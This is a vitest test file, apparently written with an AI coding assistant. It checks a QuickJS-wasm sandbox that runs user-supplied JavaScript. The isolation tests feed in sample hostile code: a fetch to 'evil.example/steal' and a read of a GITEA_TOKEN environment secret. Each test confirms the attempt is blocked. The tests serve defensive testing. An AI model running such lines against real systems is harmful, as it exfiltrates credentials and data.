Files
Arcrun/registry/components/code/test/sandbox.test.mjs
T
Leo 60f5f10ba5 feat(code): 新增通用 code 零件(sandbox inline JS)—— Arcrun#10 設計+PoC
n8n Code node 式逃生口:config 帶 inline JS、stdin 帶 input JSON、
stdout 回 {success,data}|{success:false,error,error_type}。

沙箱=QuickJS-wasm:user JS 跑在 QuickJS context,global 只有純 ECMAScript
內建 + 唯一 curated builtin sha256(純函式);碰不到網路/檔案/env/secret/
Worker 物件圖。資源上限:timeout(interrupt)/memory/stack/output/code size。

本輪=設計+PoC,未部署 leo21c。sandbox.mjs + test/ 為 Node/vitest 可跑實作
(12 測試全綠,含 card→envelope 與原模組 planCard 逐欄全等)。index.ts 為
Worker host 骨架、DESIGN.md 記錄機制/安全性質/生產路徑/設計岔路(A/B)。

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
2026-07-06 04:27:15 +00:00

129 lines
5.1 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { describe, it, expect } from 'vitest';
import { readFileSync } from 'node:fs';
import { fileURLToPath } from 'node:url';
import { dirname, join } from 'node:path';
import { runCode } from '../sandbox.mjs';
import { planCard } from './fixtures/card-to-envelope.oracle.mjs';
const HERE = dirname(fileURLToPath(import.meta.url));
const FIX = join(HERE, 'fixtures');
describe('① 基本 snippet 跑通', () => {
it('sum: {return {sum: input.a + input.b}}', async () => {
const r = await runCode('return {sum: input.a + input.b};', { a: 2, b: 40 });
expect(r).toEqual({ success: true, data: { sum: 42 } });
});
it('可用純 ECMAScript 內建(Array/JSON/Math/Date', async () => {
const r = await runCode(
'return {mapped: input.xs.map(x=>x*x), max: Math.max(...input.xs), isNum: typeof Date.now()};',
{ xs: [1, 2, 3] },
);
expect(r.success).toBe(true);
expect(r.data.mapped).toEqual([1, 4, 9]);
expect(r.data.max).toBe(3);
expect(r.data.isNum).toBe('number');
});
});
describe('② 沙箱隔離:無 ambient 能力', () => {
it('fetch / process / require / WebAssembly / globalThis.env 皆 undefined', async () => {
const r = await runCode(`return {
fetch: typeof fetch,
process: typeof process,
require: typeof require,
wasm: typeof WebAssembly,
globalThisEnv: typeof (globalThis.env),
xhr: typeof XMLHttpRequest,
};`, {});
expect(r.success).toBe(true);
expect(r.data).toEqual({
fetch: 'undefined', process: 'undefined', require: 'undefined',
wasm: 'undefined', globalThisEnv: 'undefined', xhr: 'undefined',
});
});
it('嘗試打網路(fetch)→ 被擋、回結構化 errorWorker 不掛)', async () => {
const r = await runCode(`return fetch('https://evil.example/steal');`, {});
expect(r.success).toBe(false);
expect(r.error).toMatch(/fetch.*is not defined/i);
expect(r.error_type).toBe('UserCodeError');
});
it('嘗試讀 env/secret → 讀不到(process undefined', async () => {
const r = await runCode(`return process.env.GITEA_TOKEN;`, {});
expect(r.success).toBe(false);
expect(r.error).toMatch(/process.*is not defined/i);
});
it('host 端變數不外洩:沙箱是獨立 heap', async () => {
const r = await runCode(`return typeof GITEA_TOKEN + '|' + typeof globalThis.GITEA_TOKEN;`, {});
expect(r.success).toBe(true);
expect(r.data).toBe('undefined|undefined');
});
});
describe('③ 錯誤處理 → 結構化 {error}', () => {
it('user code 拋錯 → success:false + error 訊息', async () => {
const r = await runCode(`throw new Error('boom');`, {});
expect(r.success).toBe(false);
expect(r.error).toMatch(/boom/);
expect(r.error_type).toBe('UserCodeError');
});
it('語法錯誤 → 結構化 error(不炸 host', async () => {
const r = await runCode(`return {;`, {});
expect(r.success).toBe(false);
expect(r.error_type).toBe('UserCodeError');
});
});
describe('④ 資源限制', () => {
it('timeout:無窮迴圈 → TimeoutError(不掛死 host', async () => {
const r = await runCode(`while(true){}`, {}, { limits: { timeout_ms: 200 } });
expect(r.success).toBe(false);
expect(r.error_type).toBe('TimeoutError');
}, 10000);
it('輸出過大 → ResourceError', async () => {
const r = await runCode(`return 'x'.repeat(input.n);`, { n: 5000 }, { limits: { max_output_bytes: 1000 } });
expect(r.success).toBe(false);
expect(r.error_type).toBe('ResourceError');
});
it('code 過大 → ResourceError', async () => {
const big = '/*' + 'a'.repeat(3000) + '*/ return 1;';
const r = await runCode(big, {}, { limits: { max_code_bytes: 1000 } });
expect(r.success).toBe(false);
expect(r.error_type).toBe('ResourceError');
});
});
describe('⑤ 首個真實案例:card-to-envelope 在 code 零件內跑,產出與原模組一致', () => {
const md = readFileSync(join(FIX, 'fixture-card.md'), 'utf8');
const usercode = readFileSync(join(FIX, 'card-to-envelope.usercode.js'), 'utf8');
const relPath = 'system-dev/wiki/cards/notes/沙箱示範卡.md';
const repo = 'Leo/notes';
// 移除時間相依欄位(Date.now())以做穩定 deep-equal
const strip = (plan) => {
const p = structuredClone(plan);
for (const e of p.envelopes) delete e.extractor.extracted_at;
return p;
};
it('沙箱輸出 === 原始模組 planCard 輸出(entry/nodes/triplets/envelopes 全等)', async () => {
const oracle = planCard(md, relPath, repo, {});
const r = await runCode(usercode, { md, relPath, repo, opts: {} }, {
limits: { timeout_ms: 3000, max_output_bytes: 4 * 1024 * 1024 },
});
expect(r.success).toBe(true);
expect(strip(r.data)).toEqual(strip(oracle));
expect(r.data.entry.page_name).toBe('wikicard:Leo/notes/沙箱示範卡');
expect(r.data.entry.metadata.embed).toBe(true);
// 注入的 sha256 builtin 與 node crypto 一致 → content_hash 逐字相同
expect(r.data.entry.metadata.content_hash).toBe(oracle.entry.metadata.content_hash);
expect(r.data.envelopes.length).toBeGreaterThanOrEqual(1);
}, 15000);
});